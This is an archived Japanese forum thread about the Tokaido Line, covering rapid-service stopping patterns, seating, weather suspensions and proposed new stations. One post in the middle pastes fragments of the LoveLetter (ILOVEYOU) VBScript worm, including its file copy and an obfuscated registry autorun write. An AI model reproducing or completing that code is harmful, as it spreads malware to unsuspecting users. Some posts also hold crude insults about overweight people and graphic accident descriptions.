東海道線をものすごい勢いで語ろう！その15

お待たせいたしました、特急東海道スレッド15号・静岡逝き、発車いたしま〜す。

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【東京〜】湘南電車を語れ【〜熱海】＠2ch鉄道車両･路線板
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【イナバ】東海道線車両置き換え【物置】＠2ch鉄道車両･路線板
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駅にある立食そばうどん
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3ゲト

小田原発着の湘南新宿ラインが増える日はいつになることやら・・・
国府津発着では中途半端だぞ。小田原まで延ばせば乗り換え客にも便利。

国府津発着ってぶっちゃけ意味ないよね・・
小田原からじゃないんなら、平塚からで十分。

国府津なあ。
相模金子か上大井あたりに格安駐車場つくって湘新ライン引けば、
秦野や足柄平野の客を一手に呼び込むことが出来るかもだと言ってみる。
惜しむらくはJR東海なんだな。
御殿場線なんて、御殿場松田間は小田急、松田国府津間は東日本にしてしまえ。

｢東海道線東京口を語る｣＠2ch鉄道路線・車両板
http://hobby3.2ch.net/test/read.cgi/rail/1059822132/

>>6
一番いいのは沼津以東を東日本に全て移管。
これで問題解決。

>>8
禿同！

三島までよく行く漏れとしては、熱海ちょん切れが激しく不便。
自己虫レスでスマンソン。

>>8
何が一番いいんだか･･･。

ちょっと話がそれそうな感じなので、戻しましょう。

>>6
御殿場線なんかに期待するより国府津電車区構内に駐車場付きの駅を造る方が賢明じゃない？
電車区構内までは東日本の路線だしあの辺りならダイナシティも近いからアクセス道路を造れば
割りと利用されるだろう。電車区に通勤するＪＲ社員や今まで下曽我駅を使ってた人も利用する
だろうね、なんてったって東日本の駅だから。

>>12
台無ｼﾃｨ？

ＤＱＮ専用車両じゃないんだぞ、黙れっ。

>>4
>小田原発着の湘南新宿ラインが増える日はいつになることやら・・・

秋になれば新幹線で品川駅までいけるだろ。
寒川町あたりにも新駅を作れば「こだま」で品川駅までいって乗り換えれば
いいじゃん。
湘南新宿ラインなんて距離長すぎ！

今日の22:10くらいに横浜駅の東海道線上りの電車の窓ガラスが割れて
後始末のため停まっていたみたい。

何があったのでしょうか？
ドアを挟んで左右のガラスが割れた(割られた？)ようです。
ポスターを剥がして窓に貼って応急処置をしていました。
ホームにはガラスの破片が散らばっていました。
車内にも散らばっていたみたいで、駅員が座席をはずして後始末
していました。かなりの数の駅員が後始末に関わっていました。

何があったのでしょうか？

そういや。ガラスが割れていた車両だけは行き来に「国府津」となっていたな。
その他の車両は通常とおり「普通」になっていました。

何があったのでしょうか？

いい加減にボロイゴミ車両使うのやめてくんない？
私鉄に比べてかなり高い金払って乗ってやってんだからよ

　そういや昨日の大雨の影響で「ホームライナー小田原、茅ヶ崎行」は運転された
のだろうか。電光掲示がでてたけどその時点で１時間以上遅れていた。

>>16-17
割れ方から想像すると、投石かな？

で、割れた列車だけは、車庫で交換する為、
国府津行きとなったかと思われ。

>>18
まー新しいのは乗り降りも楽だし、きれいだからいいけれども、
個人的には113系に愛着があるのですが…。
冬は暖房のききかたが新型よりいいし。ボックス席とかはいいじゃないですか！
新型には愛情が感じられない。一番重要なのは椅子の硬さ！
新型（231系）は硬すぎ！長時間乗っていると体がだるくなる。

シートについては仕方ないかと思う。
どっからどこまで乗るかで乗車時間も違ってきて、
長く乗る人はゆったり座れたらいいと考えるし、数駅で降りる人は腰掛程度で充分と考える。
体重の違いや個人の好みの違いもある。
あらゆる条件で万人が満足できるものを作ることは出来ない以上、
最大公約数を取らざるを得ない。

座り心地はいいに越したことが無いと思うが…。

東海道に新しく入るE231は
ボックス席が多くなってシートも今までのよりは
やわらかめになるらしい。

っていっても113系のままのほうがいいな

>>22
現状であなたの言う最大公約数だと思う？

体重とか体格とかが違うんだから座り心地が一人ひとり違って当然。
その中で日本人の平均的な体格に合った形で、コストの安い材料を使い、
列車の使用目的にも合ったシートになったんでしょ。
少数から満点もらうよりも、大多数から平均以上をもらえれば良しという発想。

実際はその大多数からのが…。(ﾆｶﾞﾜﾗ

グリーン車ないの？
あるんだったら席に文句つける奴はグリーン車乗れ。

>>15
＞秋になれば新幹線で品川駅までいけるだろ。
＞寒川町あたりにも新駅を作れば「こだま」で品川駅までいって乗り換えれば
＞いいじゃん。
確かに行けるけど、新幹線じゃ高すぎて庶民の足には向かないわな。
あと、倉見の新幹線駅って実現するの？
JR東海は作る気がない、という噂を聞いたことがあるが。
たとえできてもこだましか止まらない可能性が高くてあんまり便利にならなそう。

デブはデブ料金取れ！！

>>30
激しく同意！

小田原に湘南新宿ライン止めても…
小田急線があるから、新宿出るならそっちの方が速い。

>>29
当のJR倒壊は束との兼ね合いを余計に考えなきゃいけないからか、
ガミ線の眩みではなくR129と交差した狼に新駅を作りたがっているらしい。

>>32
ヲタ急ロマンスカー＞湘新ライン＞＝ヲタ急･急行

>>33
狼ってﾅﾆ？

>34
大神

>>35
あれってダイジンって読むんじゃないの？オオカミなの？
パソコンでは両方出るけど。

>>36
オオカミです

>>30-31
デブ料金払えば座席を２人分占有してもよいでつか？（ｗ

>>36-37
俺は「おおがみ」だと思ってた。

平塚市大神に新幹線駅作れば、神奈中が厚木･平塚両駅方向にバス路線を設けるな。
神奈中は小田急系、JR東海にとっては
敵対勢力ではない小田急と組めることになる。
いまでも｢あさぎり｣を共同でやってるし。

>>39
伊勢原や寒川方面からもきぼん

>>38
よいでつ。
反対に小児は半分しか席をつかってはいけません。

昨日の金曜日(土曜日0:23)の終電が横浜出発が20分遅れましたが。
何があったのでしょうか？
横浜駅の構内放送によると、
「東神奈川駅と横浜駅の踏み切りに子牛が入りまして、安全を確信しています。」
と言っていたように聞こえましたが。

"子牛"なのでしょうか？

>>42
子牛にﾜﾗﾀ

連れられた子牛が逃げ出したんじゃない？

♪ドナドナド〜ナ〜ド〜ナ〜
　 子牛を乗〜せ〜て〜

７人がけをポールで区切って４人がけに
なっているところにたまたまデブが３人そろって
しまい３人で４人分を占めた状態になっているのを
みたことがあります。笑えました。

７人がけをデブ３人、細身の人３人、子供１人でちょうどぴったり座ってたのがウケた。

>>46
平均すると「普通の人７人」ってことだな。（ｗ
しかし７人がけに５人とか６人しか均等に座ってる時って
なかなか詰めてもらいにくいよな。あからさまに空いてる
とこがあればそこに座るんだが。

強引に座るのがヨシ！

>>45
反対側の３人がけ側にデブ３人強引に座っちゃうと
ギッチリ嵌って動けなくなる予感。

>>42
これは、隠語なのです。
一部の人間にしかわからないのです。
けして子牛を探しては、いけません。
子牛電話、子牛便所などと言う事も・・・

このスレッドに、ほかに乗り合わせた人いないの？
激しく気になっているんだけど！

構内放送を何回か聴いたのだけど、そうしても「こうし」と聞こえました。
子牛、仔牛、孔子、講師、公使でもないしな。
「こども」には聞き取れなかったし。

>>51
公衆

>>50-52
激しくﾜﾗﾀ

>>52
キミは笑いすぎ！

口臭？

１番笑えるのは「孔子」かな。

孔子が立ち入ったら、電車も止まらざるを得ませんね。
文句を言うなんざ、バチ当たりもいいとこです。

JR東日本のE231についてだけど、東海道専用は何番台になるのかな？

要は線路にｲﾊﾟｰﾝ人が入り込んでて危険なので運転できないって事でしょ

わしは入っとらんぞっ！

♪ドナドナド〜ナ〜ド〜ナ〜
孔子を乗〜せ〜て〜

孔子ってどうやって判定したんだ？
見てする分かったということは仔牛が正解のようなきがする。

どこからきたのだろうか？近所の人がペットとして飼っていて散歩中だったとか？

>>59

ぱっと見、
「要は線路にｲﾗﾝ人が入り込んでて危険なので運転できないって事でしょ 」
というふうに読めました。

駅のホームの横を通っている線路の両方のレールを跨ぐように踏むと感電する罠

>>64
何言ってるのかさっぱり解らん．
対になってるレールを掴むと感電する，って言いたいのか? んなこた〜ない．
地下鉄なんかの第三軌道を触ると感電するよ．やってみな．

レールに電気は通ってねぇっすよ。

感電なんかせんぞっ！

モ〜

東海道線にE231投入したあとに「113系湘南電車リバイバル」なんてやるのかな（笑）？

>>65-67
素人のｦﾀは引っ込んでな！
こっちは仕事でやっとるんじゃい！ｗ

↑何？こいつ

ってか、孔子にまで突っ込み入れてやんのw

>>71-72
DQN丸出しのレスですなｗ

73 >> 73

本題の東海道本線ネタでもしようよー

>>75同意
変な奴が多すぎる。

最近思うのだが、４扉の場合、クロスシートとロングシートの、一両内での
座れる人数の違いって、たったの六人なんだよね。でも座っている人の
マッタリできる度がかなり違うけどね。

とりあえず新型車両は、床と壁を見てくれだけでもゴージャスな感じがいいな。
シートはせいぜい山手線程度だろうから、内装だけでも落ち着けるようにしていただきたい。

でもあんな「はりぼて」みたいな安っぽいのは勘弁

>>77
それだったらロングの方が良いなぁ。クロスなんて3人以上で帰る時しか
メリット感じないし。

痔鎖通勤進めているのに、何で9:21横浜駅発の電車は11両編成で、１０分間隔なの？
8時過ぎの電車より込んでるぞ。
どうして。口だけ？

そうです。口だけ。

>>70
どんな仕事なの．ハハハ．
レールまたいで感電するなら踏切渡れないよ．

仕事ガンバレよ．ハハハハ．

>>82
粘着やめれ。

ついでにレスすると踏切のと駅ホームの横のは別物と思われ

>>77

立ってる人の疲労度が全然違うからロングシートの方がいいなぁ。

>>84
ロングだと座ったときのんびりできなくない？
それに、ブレーキ中なんて隣の人にぶつかりそうで必死になる・・
ロングだととりあえず疲れるから嫌だなぁ。

ロングだと寝る時に隣に寄り掛からないように気をつけなくちゃ
いけないからいやだ。
逆に寄り掛かられていやなこともあるし。

まあロングシート車ってのは立って乗せることを前提にしたものだからなあ。
立つことによって一人分の面積は小さくなる→一両にたくさん乗れると。
座ることを前提にしている乗客にとっては着席機会が少なくなるから嫌われるがｗ

おれは座るにしてもロングシートのが好きだけどなぁ。
クロスシートは人と密着しすぎだし、デブが乗ると大変なことになる。
空いててボックス内に１〜２人座ってるときとかも
なんとなく座りにくい雰囲気かもしだしてるし。
とりあえず、113は吊革が少なすぎて立っているのが苦痛すぎる！
ボックスのちょうど真ん中に立ってしまったときが一番悲劇だ〜！吹っ飛ぶわな。
座りたい人のためにクロスシートにするのはいいとしても、
吊革をもっとつけてくれ。。

>>88
吊革は、たしかに少ないね。
でも、あまりにも混んでいると、逆に吊革につかまっていると疲れるよね。
はっ…もしや、JRはそれを知っててつけないのかもw

>>88
確かに113の吊革の少なさはヤバイ！
座りにくい雰囲気でてるけど、まぁ普通に座れば問題ない。

席もロングの方が良いが、ドアも４ドアにしてほしい。
品川-戸塚間では、各駅で乗客の3〜4割が入れ替わるような
乗り降りをしている。

ドアを増やせば、もっと速やかに乗り降りできるだろう。

実際、3駅分程度の短い区間を利用する乗客の方が多いの
だから、そういう人に便利の良いように、立っていても楽で、
乗り降りの便のよい車両にするべきだ。

いや〜　盆休みで通勤は快適快適♪
でもある意味悲しい・・・

113は元々中距離電車だし、通勤電車として作られたんじゃない。
結局、東海道線沿線が東京のベッドタウンになってきたからだね。
平塚･国府津あたりから東京方面はロングの通勤用電車で、
小田原･熱海あたりからならクロスの中電というように
使い分けた方がいいんじゃないかな。

普通車の座席は減っても
Ｇ車は二階建てが二両でしょ？今のｽｶ線みたいに

>>93
そこまで車両数は増やせない。

やっぱ、前後それぞれ２両ずつセミクロスてので問題ないと思う。

＞そこまで車両数は増やせない。

断言してるけど、ＪＲ関係者？w

東海道のスレなのに小田原熱海間の運休について何にも語られてないとはｗ

>>97
いつものことだからねぇ。もうそろそろ解除されるんじゃない？

>>97
函南までじゃなくなったの？

それにしても函南って中途半端な･･･

"ムーンライトながら"今日も運休だって・・・
良く運休になるね。

ぽひょ?

小田原熱海間はまだ止まってんすかねー、てか東海道線のリアルタイムの情報
なんものってねーーーｗ

昨日は伊東まで行こうと思っていたのに
小田原-函南間で運転見合わせ。

とりあえず小田原まで行きましたが、
それ以降は動いてないとのこと。
隣のホームには昼間の12:00出発予定の踊り子が
19:00過ぎになっても出発できずに止まっていました。

車内のアナウンスでは
運転の目どがたたないのでご旅行のお客様は
ご帰宅を検討して下さい、とのこと。

小田原駅で2時間ほど待ちましたが
運転再開する見込みがないので
仕方なく戻ってきました。

その間、ビール3本飲んでおしまい。

失礼しました。

東海道線（小田原〜熱海）・伊東線は今日中に運転再開するか微妙ですよ、
バス代行もできないし。

最近、よく運転見合わせをしませんか？
以前に比べ　雨量が増えているって理由からでしょうか・・・

今まだ止まっていますか。

結局この雨で
富士・さくら・はやぶさ等の寝台特急は始発駅が
大阪や京都等に変更。
急行銀河や快速ムーンライトながらは運転中止。

運転再開の情報が入ったら教えて下さい。

小田原−熱海　現在は運行してるな

>107
JR東日本のホムペではまだ運休中のままなのですが。動いてるの？

この会社の運行情報HPは意外と正確です。
京急、小田急は当てにならないが・・・（いつも平常通りと表示）

結局今日１日中小田原ー熱海間は運休？

>>110
今さっき熱海行きのって早川で降りて帰宅しましたが何か？

動いてるだろうね。俺も本当に動いてるのか？と思ったが
駅行ったら普通に「沼津行き」あったし

それじゃあ
小田原-熱海間は
やっと動き出したの・・・。

ちなみに伊東線がどうなったか
知っている人いたら教えて。

アクティーや通勤快速を1時間に2本に倍増して、大船・小田原間の停車駅パターン
を大船-藤沢-茅ヶ崎-平塚-国府津-小田原（従来通り）と大船-藤沢-辻堂-平塚-小田原
の2種類にしてくれるといいんだけどな。
辻堂は茅ヶ崎と乗降客数はほとんど同じレベルだし、国府津は乗降客数が少ないし。

>>114
紛らわしくなるので却下ｗ

やっぱり･･･
東京-品川-横浜-大船-藤沢-茅ヶ崎-平塚-小田原-真鶴-湯河原-熱海だね。

>>114
乗降客数で判断するのはどうかと。






と、戸塚利用者が怨嗟の声をあげてみる。

>>114

大船駅の貨物線にもホームを新設し、
東京-品川-横浜-大船-藤沢-茅ヶ崎-平塚-小田原
を毎時2本運行すれば、緩急バランスが良くなると思う。

湘南ライン本数増やして

　つうか本当にアクティー必要か？

　とりあえずこれから辻堂駅前の大開発がはじまるから確実に乗降客が増えるし、
そうなると今のままだと本数が少なくて不便だから平日に限って廃止したほうが
いいような……。

政令指定都市の川崎通過かよｺﾞﾙｱ！

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

>>121
コミケに関連するスレに張られただけで増殖かよ・・・・・・

>>120
当然ですｗ

>>114
これを見て言ってるな。
http://www.jreast.co.jp/passenger/index.html
茅ヶ崎にはこの他に、相模線から乗り換える客もいるぞ。
国府津は御殿場線列車にいいタイミングで接続する列車は停めた方がいいな。

川崎を通過する列車が増えると、川崎に停車する列車の混雑が増える。
川崎駅の乗車客数に南武線や京浜東北線と東海道線を乗り換える人の数は含まれていない。

通勤快速は必要だけどアクティーいらんよね。
通過待ち合わせをなくしてダイヤをすっきりさせたほうがいいのでは？

>>120

川崎からは京浜東北線に乗ればいいじゃん。

その引き換えに、蒲田発着の京浜東北をできるだけ減らし
桜木町や磯子、大船発着にしたら良い。

とりあえず、
JR東海道線　小田原-熱海間
JR伊東線全線運転再開よかったです。

>>115
＞紛らわしくなる
快速の名前も2種類にすればよい。たとえば、
大船-藤沢-茅ヶ崎-平塚-国府津-小田原停車の快速を「元祖快速アクティー」、
大船-藤沢-辻堂-平塚-小田原停車の快速を「新快速アクティー」
とか。
ダメ？

病院に逝け

>>116
横須賀線に快速を走らせて戸塚駅に停めるっていうのはどう？
停車駅は大船-戸塚-横浜-品川-新橋-東京。
横浜駅と品川駅の横須賀線ホーム、待避可能にならないかなあ。

>>130
横浜なら可能性が無くはないが。
東横線が潜るのが前提だけど。

湘南ライン増発を！

湘新増発と東海道･横須賀･埼京の減便はセットとなります。

アクティーは
東京―品川―川崎―横浜―大船―藤沢―茅ヶ崎―平塚―小田原―湯河原―熱海
でいいかと。
辻堂、戸塚はまず必要ない。

小田原から西は列車本数も少ないので熱海までの各駅に停車。
通過するなら普通列車もこの区間増発(小田原止まりの熱海延長)が必要。
国府津は御殿場線の列車時刻に近い快速を停車。

小田原熱海間は利用客少ないので、停めたら快速である意味がない。
特に早川など。

国府津なんては御殿場線の前でも止める必要なし。
後続の普通列車の時間に合わせればそれでよし。

↑なんの根拠で言ってるのかわからん。
一番早く移動したい人は新幹線、乗り換え。
その次は踊り子または東海。
その次は快速、末端（乗降数が少ない駅）は各駅でいいんでないんかい？
10月からの東海の新幹線ひかりは名古屋以降各駅だぞ（一部のぞく）。
東の新幹線も仙台行きのやまびこは各駅だぞ。

むしろ｢アクティー｣は東京・横浜から離れるほどこまめに停まった方がいいと思うよ。
もともと東京・横浜地区から湘南・西湘地区を速達で結ぶのが｢アクティー｣の目的なのだから。
｢踊り子｣が伊東線、伊豆急線に入るとこまめに停まったりブルトレが山陽・九州地区でこまめに
停まるのと一緒、だから少なくとも大船以西は現停車駅でよいかと。
それでも停車駅が多くてケシカランという人はそれこそ新幹線か「踊り子」にでも乗ればいい。

>>137
何についての根拠ですか？
ひかりは在来線で言えば、小田急の準急のようなもの。
やまびこは在来線で言えば、普通とかわらない。
快速アクティーは、新幹線ののぞみみたいなものだから、ちょこちょこ停めてたら
ほとんど快速の意味がなくなってしまう。

>>138東京・横浜地区から湘南・西湘地区を速達で結ぶのが｢アクティー｣の目的

今のままでは速達に結べてないので一つの考えとして言ったのです。
利用客の少ない駅を快速の停車駅から省くことで藤沢、平塚、小田原など乗降者の
多い駅の利用者にはかなりのメリットがある。
辻堂、大磯、二宮などの利用者にも待ち合わせ可能駅で迅速に乗り継ぎができたら
到着時間は早まりメリットがあるのではないかと思う。

新幹線などもってのほかで、特急は特急料金がかかる。

>>139さん
＞快速アクティーは、新幹線ののぞみみたいなものだから
違うなぁ、ひかりみたいなものです。
在来線で例えるなら特急(踊り子･東海等)＝のぞみ、普通＝こだまですよ。
>>138さんの意見は遠距離客へのサービス措置ですね。
東京に近いところほど列車本数が多いという措置がありますし、
遠いところからは本数が少ない代わり、途中駅を少なくして速達性を持たせてます。

関東では都心〜周辺間の行き先駅の違いによる遠近分離が快速運転の理由の一つになってますね。
関西では同規模の都市間を早く結ぶことが快速(新快速)の目的だったりします。
同じように快速を名乗っていても存在理由が違ってたりするんです。

>>140
139です。快速アクティーはのぞみみたいなものと言ったのは、
特急だと特別料金がかかるからです。
同運賃で速いということです。

>>140
>在来線で例えるなら特急(踊り子･東海等)＝のぞみ、普通＝こだまですよ。

そんなにボロ東海道線をおだてると、やつら調子に乗りますよ！（笑）

>>141
のぞみも特別料金かかるよ。
それに特急に乗っても運賃は同じだよ。

自分勝手にアクティーをのぞみだのひかりだのに決めつけるのもアレだがw

ローカル駅（ここでいう小田原以遠ですか）を飛ばすのであれば、各駅停車と確実に接続させるのが前提。
それが諸々の事情でできないから各駅に停めるのであって。
速い速くないは一部の停車駅の基準のみで決めるものではない。

>>144
>>139です。
そのことも考え、大船、平塚、小田原で連絡をスムーズにできたら、という考えです。

136=139,145ですか？あとから付け足しで言わないように。
最初から通過の理由とそれに対する救済措置はセットで論じてくれないと
他の人に誤解を与えますよ。144の仰るとおり、
簡単に乗り継ぎが出来れば非停車駅からも快速は利用しやすいものとなりますが
136にある意見ではまるで快速に乗るなと言ってるようなものです。

停車駅を決めてからダイヤを組むのではなく、
ダイヤの中で飛ばせるところは飛ばす、のが良策です。

>>146
そうです。

停車駅

東新品川横戸大藤辻茅平大二国鴨小早根真湯熱
　　　　　　　　　ヶ　　　府　田　府　河　
京橋川崎浜塚船沢堂崎塚磯宮津宮原川川鶴原海
●●●●●●●●●●●●●●●●●●●●●　普通
●―●―●―●●―●●――○―●――※※●　快速アクティー
●―●―――●●―●●―●●―●　　　　　　通勤快速

快速アクティー停車駅
○･･･御殿場線接続可能列車のみ停車
※･･･一部列車のみ停車

停車駅

東新品川横戸大藤辻茅平大二国鴨小早根真湯熱
京橋川崎浜塚船沢堂崎塚磯宮府宮田川府鶴河海
●●●●●●●●●●●●●●●●●●●●●　普通
●―●―●―●●―●●――○―●――※※●　快速アクティー
●―●―――●●―●●―●●―●　　　　　　通勤快速

快速アクティー停車駅
○･･･御殿場線接続可能列車のみ停車
※･･･一部列車のみ停車

>>149
二宮町民？ｗ

>>150
たぶんw

>>１４９
石神台？

二宮町民としては149はいいねぇ。
平塚−小田原のあいだの駅では
利用客一番多いでしょ？
国府津やめて二宮に止めてくれぇ・・・。
無理だろうがね・・・。

平塚−小田原間は全部少ないじゃん。
辻堂のが多い。

自分の利用駅を発表するスレはここですか？

停車駅

東新品川横戸大藤辻茅平大二国鴨小早根真湯熱
京橋川崎浜塚船沢堂崎塚磯宮府宮田川府鶴河海
●●●●●●●●●●●●●●●●●●●●●　普通
●―●―●―●●―●●――○●●――※※●　快速アクティー
●―●―――●●―●●―●●●●　　　　　　通勤快速

快速アクティー停車駅
○･･･御殿場線接続可能列車のみ停車
※･･･一部列車のみ停車

>>156
どう考えても鴨宮には停める必要ないだろw

国府津〜鴨宮間に新駅設置きぼん
貨物駅あたりに

始まったかw

>>158
国府津〜鴨宮の間くらいに住んでるのかな？

住んでる人の数云々よりも、
大きなお店がいっぱい出来た(出来る)のよ。

湘南ラインは池袋駅の拡張工事が終わらないと増発しそうもないなあ。
高崎、宇都宮線はグリーン席がないが、東海道にあわせるといっていた。

>>162
大井工場の辺りの平面交差を何とかしないと増発は無理でしょう．
元々貨物線だったのが旅客扱いしたわけだし，立体交差化も難しそう．

現在の悪茶が何故問題かというと、
１，停車駅が多すぎ
２，こいつのせいで普通電車の間隔が開く

　しかしながら停車駅を減らそうとしても現状よりも減らすことはまずできない。
国府津はたぶん運転的な意味もありそう。現状だとむしろ平塚まで普通を毎時
７本走らせたメリットの方が大きい（１８分穴とかなくなるし）。戸塚は横須賀が
あるから良いかも知れないけれど辻堂は乗降客数の割に冷遇されているような
気がする……。これから乗降客数が増えるのに。

>>164
基準を設けるとしたら、市の玄関駅とか
他の路線との乗り換え駅ってのは優先されるだろうからねぇ…

またこれは再三いってるんだけど、客数は目安にしかすぎない。
藤沢では小田急･江ノ電(異社間)との乗換客は数えるけど、
茅ヶ崎での相模線(同一社内)との間の客は数えていない。
数字のトリックで、実際はたぶんかなり多いだろう。

＞茅ヶ崎での相模線(同一社内)との間の客は数えていない。

それ言ったら国府津も乗降客数に御殿場線乗換え客は含まれてないですね。
あと、国府津で乗り降りするＪＲ社員も改札は通っていないので乗降客数に
カウントされていない可能性もある。

>>162
湘南ライン？ﾊｧ､何それ？ｗ

>>166
御殿場線は東海だから数えている。

>>166
あと、国府津で乗り降りするＪＲ社員も改札は通っていないので乗降客数に
カウントされていない可能性もある。

それってカウントすべきなのか？

あぼーん

>>166>>169
御殿場線は異社。改札通らなくても直通切符や定期の数で概算が出る。
直通列車に乗ったままでも国府津駅利用客に数える。
社員の内、仕事(乗務員)で乗ってる場合は客じゃない。通勤で社員が乗ってても
一般客に比べれば少ないので数えなくても微々たるものでは？
たしかに国府津は社員が多いが、どの駅にも通勤する社員はいるだろうし。
ちなみにJR東日本のデータは乗車客数。乗降客数とは違って、
乗るときだけを数えている。降りる人も入れたらたぶん倍になる。
>>162　意味は通じるんで気にしないように。

国府津も茅ヶ崎もたいした乗換えの人数じゃないだろ。

>>172
http://www.fx.sakura.ne.jp/~nk-works/ayano/data/jr-e/jr-sagami-h11.htm
↑を見る限り茅ヶ崎は相模線から（へ）26000人乗り換えてくるみたいですな。
一方相模線のみの乗客は1万人だから茅ヶ崎の東海道線利用者はJRのサイトの数字に換算すると
53000（JRの数字）+ 26000÷2 - 10000÷2 = 61500
となって平塚（57000）を軽く超える

茅ケ崎の人ってやたらと平塚にこだわるよな・・・

藤沢駅で人身事故？

age

【東海道線　運転見合わせ】
東海道線は、藤沢駅で発生した人身事故の影響で、
下り線で運転を見合わせています。


自殺テロｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!

>>171
＞御殿場線は異社。改札通らなくても直通切符や定期の数で概算が出る。
＞直通列車に乗ったままでも国府津駅利用客に数える。

ということは熱海の乗降客数には東海道線東日本区間から東海区間への直通客、
伊東線から沼津方面への乗換え客、さらには熱海を経由するブルトレや「ながら」
の乗客も含まれているわけですね。
ということは国府津にしろ熱海にしろ実際に改札を通る人の数は公表されてる利用客数
よりかなり少ないということですね。

藤沢駅での人身事故って昨年暮れの上り列車駆け込み乗車失敗者の死亡以来だよね。

>>174
確かに･･･。
茅ヶちゃん･茅ヶスレの常連が平ちゃん･平スレを以前荒らしていたようだし。

肉塊、見てしまったょ…鬱

>>174
埼王や干葉県民が東京の2番手は譲れねェとばかりに
神奈川県をやたら意識するあたりに似て…ないか。

結局自殺なの？事故なの？

湘新ライン毎時1本の大船止まりをなんとか平塚or国府津まで延ばせんかのぅ〜

>>184
あれは一応スカ線だからね。
それ以前に東海道にももう1本増発してﾎｽｨ。
もちろん東京発着の本数は現状維持でｗ

　そしたら大船〜平塚毎時８本等間隔実現しないかな。

　悪茶はともかく通快はラッシュ時の乗降を考えると辻堂停車にして普通電車との
連絡を大船から平塚にした方がいいような気がする。今の湘南ライナーと同じ
感じで。停車駅がなるべく統一された方がわかりやすいだろうし。

湘南新宿ライン大宮〜大船増発を！

>>186
そこまでしてもＪＲに利益がない。

湘南新宿ライン大宮〜大船増発をしたら
京浜東北・根岸線が横浜・根岸線なっちゃったりして…
まさかね…

◆地元住民ら要望活動（神奈川新聞）
　ＪＲ東海道線二宮〜国府津間の小田原市中村原に新駅を設置して−。同市東部の橘地区住民らでつくる「仮称・湘南橘駅設置促進期成同盟」（船津常治会長）が、新駅設置の要望活動に力を入れている。今年を「新駅設置元年」と位置付け、ポスター千枚を作成したほか、二〇〇五年度からの市総合計画後期基本計画に新駅招致を盛り込んでもらおうと、市への働きかけも強めている。
　期成同盟は一九九七年三月に設立。元市議会議長の船津さんが会長を務め、地区の自治会連合会会長や市議、市内選出県議、隣接する中井町連合自治会長らが役員に名を連ねている。役員を含めた会員は約六十人。
　船津会長らによると、新駅設置要望は八十年前の一九二三年三月にさかのぼる。船津さんの祖父で県議会副議長経験もあった船津愛之介さんが代表になり約八百人の連名で、当時の鉄道大臣に請願書を出した。
　現在の期成同盟ではＪＲ東日本や市に駅設置の要望を続けており、二〇〇〇年六月には市議会に陳情書を提出。都市建設常任委員会で陳情が採択された。
　市総合計画後期基本計画に「新駅の招致」を盛り込もうと、同計画策定に向けて今年七月に設けられた市民提言会議（百六人）に期成同盟会員が加わり、働きかけを進めている。
　新駅招致を訴えるポスター（Ｂ２判）千枚も作成。東海道線車両がミカン山のそばを走る絵柄をあしらい、「橘地区に新駅を！」とアピールしている。期成同盟では「橘地区の人口は約一万人。だが、地区内には工業団地の西湘テクノパークも含め六カ所の区画整理事業などがあり、今後、人口が一万人増加する見通しで、駅を設置してほしい」と訴えている。
　ＪＲ東日本横浜支社では「要望は受けているが具体的計画はない。東海道線は十五両編成なので、三百メートルの長いホームが必要になる。一般的に、新駅設置は周辺の大規模開発やまちづくりとセットにならないと難しい」と説明。市都市総務課では「後期基本計画に盛り込むことは考えているが、二、三年で実現できるものではなく、ある程度時間をかけて研究する必要がある」と話している。

http://www.kanagawa-np.co.jp/news/nw03082273.html

>>190
十中八九必要ない。

>>190
西湘テクノパークなんて、そんなのバブル時代の発想
東日本も考えていないって言っている位だから、駅なんて作らないと思う。
この新駅構想にしても、このオヤジたちの勝手な願望が見え隠れして嫌な感じがする。

>>190
まったく必要ない。
国府津または二宮からバス輸送で充分。

>>190
まぁ、地元に駅が欲しいって思う人は多いだろうけど、作っても無意味な駅でしょ？
必要ない。

アクティーが何故必要なのか、それは特急退避がほぼ無いからでは？
てか特急待ちって４〜５分も待たされたりして何かイライラしません？
たいして特急に人が乗ってるわけでもないのにさ。まぁ一般小市民の意見ですが。

>>190
とりあえず２両分のホームと東京方に２両分のＹ線を造って国府津止まり
の御殿場線を湘南橘（仮）で折り返すようにすれば費用もそんなにかからず
東海道線列車への影響も少ない。
ただし、東京方面へは国府津まで戻って折り返すことになるが。

辻堂もそろそろ駅を拡張しないと朝夕にはパンクしそうです。
特に西口の改札を何とかしてほしい。
近い将来カントク跡地にもマンションが出来た日にはどうなることか・・・
駅から離れたところにもマンションがけっこうできてるし、ちょっと心配です。

>>197
恥ヶ崎もそうだが、どうもこう無計画にマンション乱造するんだろうかね？
その後の住民サービスの破綻に期待ａｇｅ（ｗ

>>197
西口には藤沢が金を出さないっしょ

>>195にはげどう

特に邪魔なのが朝６時半頃の横浜での銀河７分待ち

>>200
それならいっそのこと急行･寝台料金を払って銀河に乗ればいいのに…ｗ

>>201
　どうして「それならいっそ」なのか判らん

>>201
おおばかもの

>>201
定期券じゃ乗られない。。。。

>>204
この貧乏人めが！ｗ

>>201
おおばかもの！！

>>201さん、俺と違って大漁ですな。ｳﾗﾔﾏｽｨ

>>201
第一横浜からって乗れないんじゃないの？

>>179
駆け込み失敗って何？
ドアに挟まれて引きずられたとか？
ちなみに今日平塚駅で人身事故見た。
多分脳みそらしき物体が線路の間に転がってた。

>>209
漏れは見たわけではないけど。
上り列車13号車付近で駆け込み乗車に挑むもドアは閉まって失敗。
加速し始めた列車とホームの間に落ち、隙間に挟まってしまい・・・

これ以上はカンベンしてください。

>>208
無理ではない模様
でも>>201が言うように（ｒｙ

>>210
駆け込みって危ないのね。
気をつけますは。

>>201
おおばかもの！！

何気に>>201の思惑通りになってる悪寒

こないだ、ｵﾊﾞﾊﾝがドアが閉まる直前に駆け込んで入ってきて、
思いっきり車内でスッ転んでた。ちょっと痛そうだったな。

京浜臨海部の貨物支線試乗会
ttp://www.kanagawa-np.co.jp/news/nw03082322.html

早く旅客化してほすい。

羽沢も旅客化したら、あの辺の人たち大喜びするんだろうなあ。

>217
大喜びするのは住民だけになるのかな？
羽沢近辺に大テーマパークでも造れば、旅客駅化できるのにね。
その点、京浜臨海部の貨物線は、藤沢以西の住人が、桜木町や
